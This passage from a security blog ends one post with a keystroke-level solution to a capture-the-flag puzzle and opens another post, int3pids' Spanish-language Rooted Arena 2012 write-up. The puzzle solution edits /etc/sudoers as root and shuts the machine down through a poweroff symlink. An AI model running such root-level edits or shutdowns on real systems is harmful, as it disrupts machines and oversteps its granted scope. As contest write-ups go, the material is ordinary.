<span class="" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">tmux<enter> [ Open tmux in upper window -> Shell++ (=5) ]</span></div>
</div>
<div class="ace-line" id="magicdomid11115" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: left;">
<span class="" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><ctrl-b>% [ Upper window is splitted -> Shell++ (=6) ]</span></div>
</div>
<div class="ace-line" id="magicdomid11116" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: left;">
<span class="" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">emacs --daemon<enter></span></div>
</div>
<div class="ace-line" id="magicdomid11117" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: left;">
<span class="" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">EDITOR="emacsclient -nw"<enter></span></div>
</div>
<div class="ace-line" id="magicdomid11118" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: left;">
<span class="" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><ctrl-a><tab> [ Switch to lower window ]</span></div>
</div>
<div class="ace-line" id="magicdomid11119" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: left;">
<span class="" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">teco<enter></span></div>
</div>
<div class="ace-line" id="magicdomid11120" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: left;">
<span class="" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">EB/etc/sudoers<esc><esc></span></div>
</div>
<div class="ace-line" id="magicdomid11121" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: left;">
<span class="" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">P<esc><esc></span></div>
</div>
<div class="ace-line" id="magicdomid11122" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: left;">
<span class="" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">S</span></div>
</div>
<div class="ace-line" id="magicdomid11123" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: left;">
<span class="" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">editor</span></div>
</div>
<div class="ace-line" id="magicdomid11124" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: left;">
<span class="" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><esc>0</span></div>
</div>
<div class="ace-line" id="magicdomid11125" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: left;">
<span class="" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">TT</span></div>
</div>
<div class="ace-line" id="magicdomid11126" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: left;">
<span class="" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><esc><esc></span></div>
</div>
<div class="ace-line" id="magicdomid11127" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: left;">
<span class="" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">EX<esc><esc></span></div>
</div>
<div class="ace-line" id="magicdomid11128" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: left;">
<span class="" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><ctrl-b>o [ Switch to lower-left window ]</span></div>
</div>
<div class="ace-line" id="magicdomid11129" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: left;">
<span class="" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><enter></span></div>
</div>
<div class="ace-line" id="magicdomid11130" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: left;">
<span class="" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">EDITOR=vim visudo<enter> [ Open sudoers with Vim ]</span></div>
</div>
<div class="ace-line" id="magicdomid11131" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: left;">
<span class="" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><esc></span></div>
<div style="text-align: left;">
:%s/emacs/vim, /g<enter> [ Now "editor=/usr/bin/vim," -> Comma is wrong! ]</div>
</div>
<div class="ace-line" id="magicdomid11133" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: left;">
<span class="" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><esc></span></div>
<div style="text-align: left;">
:wq<enter> [ Syntax error when saving to sudoers due to comma ]</div>
</div>
<div class="ace-line" id="magicdomid11135" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: left;">
<span class="" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><ctrl-b>&y [ Kill lower-left window. We have now 1 lower window (and 2 upper) -> Shell-=2 (=4) ]</span></div>
</div>
<div class="ace-line" id="magicdomid11136" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: left;">
<span class="" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><ctrl-a><tab> [ Switch to upper-right window ]</span></div>
</div>
<div class="ace-line" id="magicdomid11137" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: left;">
<span class="" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><ctrl-a>Q [ We have 2 windows: left and right. We are at right (EDITOR="emacsclient -nw") ]</span></div>
</div>
<div class="ace-line" id="magicdomid11138" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: left;">
<span class="" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">visudo<enter> [ Open sudoers with Emacs ]</span></div>
</div>
<div class="ace-line" id="magicdomid11139" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: left;">
<span class="" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><ctrl-b>o [ Switch to left window ]</span></div>
</div>
<div class="ace-line" id="magicdomid11140" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: left;">
<span class="" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">ln -s /sbin/poweroff exec<enter> [ I'm root so sym-link is created correctly ]</span></div>
</div>
<div class="ace-line" id="magicdomid11141" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: left;">
<span class="" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">ed /etc/sudoers [ Open sudoers with Ed (in left window; keep open Emacs in right one ]</span></div>
</div>
<div class="ace-line" id="magicdomid11142" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: left;">
<span class="" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><ctrl-b>o [ Switch to right window (Emacs) ]</span></div>
</div>
<div class="ace-line" id="magicdomid11143" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: left;">
<span class="" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><esc>OB</span><esc>OB<esc>OB... [ Move cursor down by 8 lines ]</div>
</div>
<div class="ace-line" id="magicdomid11144" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: left;">
<span class="" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><esc>OC<esc>OC<esc>OC... [ Move cursor 31-times right ]</span></div>
</div>
<div class="ace-line" id="magicdomid11145" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: left;">
<span class="" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><esc>[3~</span><esc>[3~... [ Delete 7 times ]</div>
</div>
<div class="ace-line" id="magicdomid11146" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: left;">
<span class="" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">teco [ We add "teco" ]</span></div>
</div>
<div class="ace-line" id="magicdomid11147" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: left;">
<span class="" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><ctrl-b>o [ Switch back to left window (Ed) ]</span></div>
</div>
<div class="ace-line" id="magicdomid11148" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: left;">
<span class="" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">9s/emacs/ed<enter></span></div>
</div>
<div class="ace-line" id="magicdomid11149" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: left;">
<span class="" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">%l<enter></span></div>
</div>
<div class="ace-line" id="magicdomid11150" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: left;">
<span class="" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">w /etc/sudoers<enter> [ Save /etc/sudoers ]</span></div>
</div>
<div class="ace-line" id="magicdomid11151" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: left;">
<span class="" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">q<enter> [ Close Ed ]</span></div>
</div>
<div class="ace-line" id="magicdomid11152" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: left;">
<span class="" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><ctrl-b>o [ Switch to right window (Emacs) ]</span></div>
</div>
<div class="ace-line" id="magicdomid11153" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: left;">
<span class="" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><ctrl-x><ctrl-s> [ Save sudoers.tmp (but not real sudoers file!!) ]</span></div>
</div>
<div class="ace-line" id="magicdomid11154" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: left;">
<span class="" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><ctrl-x><ctrl-c> [ Close Emacs -> Save /etc/sudoers AGAIN!! ]</span></div>
</div>
<div class="ace-line" id="magicdomid11155" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: left;">
<span class="" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><ctrl-b>&y [ Only 1 window -> Shell-=2 (=2) ]</span></div>
</div>
<div class="ace-line" id="magicdomid11156" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: left;">
<span class="" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><ctrl-a>ky [ Shell-- (=1) -> Only Screen process is left running ]</span></div>
<div style="text-align: left;">
./exec<enter> [ Still root (ksu) -> Shutdown machine -> off ]</div>
</div>
<div class="ace-line" id="magicdomid11158" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
Summary, we have done 2 (real) changes in sudoers, "teco" remained as editor in sudoers (last successful modification was done with Emacs), we have opened<span style="text-align: justify;"> 6 shells and machine state is "off".</span></div>
</div>
<div class="ace-line" id="magicdomid11161" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
The solution to the challenge is:</div>
</div>
<div class="ace-line" id="magicdomid11162" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: justify;">
<span class="i" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><i style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">2/usr/bin/teco6off</i></span></div>
<div style="text-align: justify;">
<span class="i" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><i style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><br /></i></span></div>
</div>RoMaNSoFthttp://www.blogger.com/profile/15516592550449333336noreply@blogger.com3tag:blogger.com,1999:blog-8030856701715224582.post-33581988765648163812012-03-21T00:03:00.000+01:002012-03-21T00:03:50.077+01:00Rooted Arena 2012 - Complete write-up<br />
<div align="center">
<table border="0" cellpadding="0" cellspacing="0" class="MsoNormalTable" style="border-collapse: collapse; mso-padding-alt: 0cm .5pt 0cm .5pt; width: 100.0%;">
<tbody>
<tr style="height: 144.0pt; mso-yfti-firstrow: yes; mso-yfti-irow: 0;">
<td style="height: 144.0pt; padding: 0cm 5.4pt 0cm 5.4pt; width: 481.1pt;" valign="top" width="641"><div class="MsoNormal" style="text-align: justify;">
<span lang="es">As you probably know, "int3pids" participated for the first time in this contest... and <b>we won</b> it! :-)</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span lang="es"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span lang="es">This year's challenges were not so mature and indeed there is a big chance for improvement for the next year. But it was still funny to solve some of them (others were a real PITA).</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span lang="es"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span lang="es">Now, the complete write-up follows... </span></div>
<div class="MsoNormal" style="text-align: justify;">
<span lang="es"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span lang="es"><b>Note #1</b>: We presented it to the Organization in .pdf... and in Spanish. We had no time to translate into English (sorry!).</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span lang="es"><b>Note #2</b>: Rules forced us to deliver the doc *before* the contest ended. So don't expect a very elaborated documentation.</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span lang="es"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span lang="es">Enjoy!</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span lang="es"><br /></span></div>
<div class="MsoNormal" style="text-align: center;">
<span lang="es">- - -</span></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
</td>
</tr>
<tr style="height: 72.0pt; mso-yfti-irow: 1;">
<td style="border-bottom: solid #4F81BD 1.0pt; border: none; height: 72.0pt; mso-border-bottom-alt: solid #4F81BD .5pt; padding: 0cm 5.4pt 0cm 5.4pt; width: 481.1pt;" width="641"><div align="center" class="MsoNoSpacing" style="text-align: center;">
<span lang="es" style="font-family: Cambria, serif; font-size: 40pt;">Rooted
Arena 2012</span><span lang="EN-US"><o:p></o:p></span></div>
</td>
</tr>
<tr style="height: 36.0pt; mso-yfti-irow: 2;">
<td style="border: none; height: 36.0pt; mso-border-top-alt: solid #4F81BD .5pt; padding: 0cm 5.4pt 0cm 5.4pt; width: 481.1pt;" width="641"><div align="center" class="MsoNoSpacing" style="text-align: center;">
<span lang="es" style="font-family: Cambria, serif; font-size: 22pt;">Informe</span><span lang="EN-US"><o:p></o:p></span></div>
</td>
</tr>
<tr style="height: 18.0pt; mso-yfti-irow: 3;">
<td style="height: 18.0pt; padding: 0cm 5.4pt 0cm 5.4pt; width: 481.1pt;" width="641"><div align="center" class="MsoNoSpacing" style="text-align: center;">
<br /></div>
</td>
</tr>
<tr style="height: 18.0pt; mso-yfti-irow: 4;">
<td style="height: 18.0pt; padding: 0cm 5.4pt 0cm 5.4pt; width: 481.1pt;" width="641"><div class="MsoNoSpacing">
<br /></div>
</td>
</tr>
<tr style="height: 18.0pt; mso-yfti-irow: 5; mso-yfti-lastrow: yes;">
<td style="height: 18.0pt; padding: 0cm 5.4pt 0cm 5.4pt; width: 481.1pt;" width="641"><div align="center" class="MsoNoSpacing" style="text-align: center;">
<b><span lang="es">26 Febrero 2012</span></b><span lang="EN-US"><o:p></o:p></span></div>
</td>
</tr>
</tbody></table>
</div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
</div>
<h1>
<a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318057847"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318026379"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc317949552"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc317783511"><span lang="es">Introducción</span></a><span lang="es"> <o:p></o:p></span></h1>
<div class="MsoNormal">
<span lang="es">Este informe
detalla el proceso de resolución de las pruebas del concurso RootedArena 2012 desarrollado
entre el 17 de Febrero de 2012 y el 26 de Febrero de 2012.<o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="es"><br /></span></div>
<div class="MsoNormal">
<span lang="es">La información
disponible al principio del concurso consistía de una tabla con los datos de
acceso a las distintas pruebas. Para alguna de las pruebas era necesario
descubrir parte de los datos de acceso mientras que para otras toda la
información se proporcionaba desde un principio.<o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="es"><br /></span></div>
<div class="MsoNormal">
<span lang="es">La tabla tal
cual se podía ver en el PDF entregado a los participantes se reproduce en la
siguiente imagen:<o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="es"><br /></span></div>
<div class="MsoNormal">
<span lang="es"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEio4KCLsWZNF3j5fGheAgVPCU9v9lbC3pp8QMj_EumTvMKDH_QUXjPEG94imL1233-mhyphenhyphenl4oV1VxvoDy_MRgDupWa5-uEeDR4z66qPvDPJpLlaK77CCSEVIdY7XJ2qCZKy5unxTgsHB-vI/s1600/k1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEio4KCLsWZNF3j5fGheAgVPCU9v9lbC3pp8QMj_EumTvMKDH_QUXjPEG94imL1233-mhyphenhyphenl4oV1VxvoDy_MRgDupWa5-uEeDR4z66qPvDPJpLlaK77CCSEVIdY7XJ2qCZKy5unxTgsHB-vI/s400/k1.png" width="350" /></a></div>
<div class="MsoNormal">
<span lang="es"><br /></span></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<span lang="es"><o:p><br /></o:p></span></div>
<h1>
<a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318057848"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318026380"><span lang="es">Desarrollo de las
pruebas</span></a><span lang="es"><o:p></o:p></span></h1>
<div class="MsoNormal">
<span lang="es">En esta
sección se describe el proceso de resolución de cada una de las pruebas
completadas durante el concurso. Para las pruebas no completadas, se
proporciona una breve descripción de las distintas aproximaciones realizadas.<o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="es"><br /></span></div>
<div class="MsoNormal">
<span lang="es">Las pruebas se
encuentran listadas en base al número de prueba, y no al tiempo de resolución
de las mismas.<o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="es"><br /></span></div>
<div class="MsoNormal">
<span lang="es"><br /></span></div>
<h2>
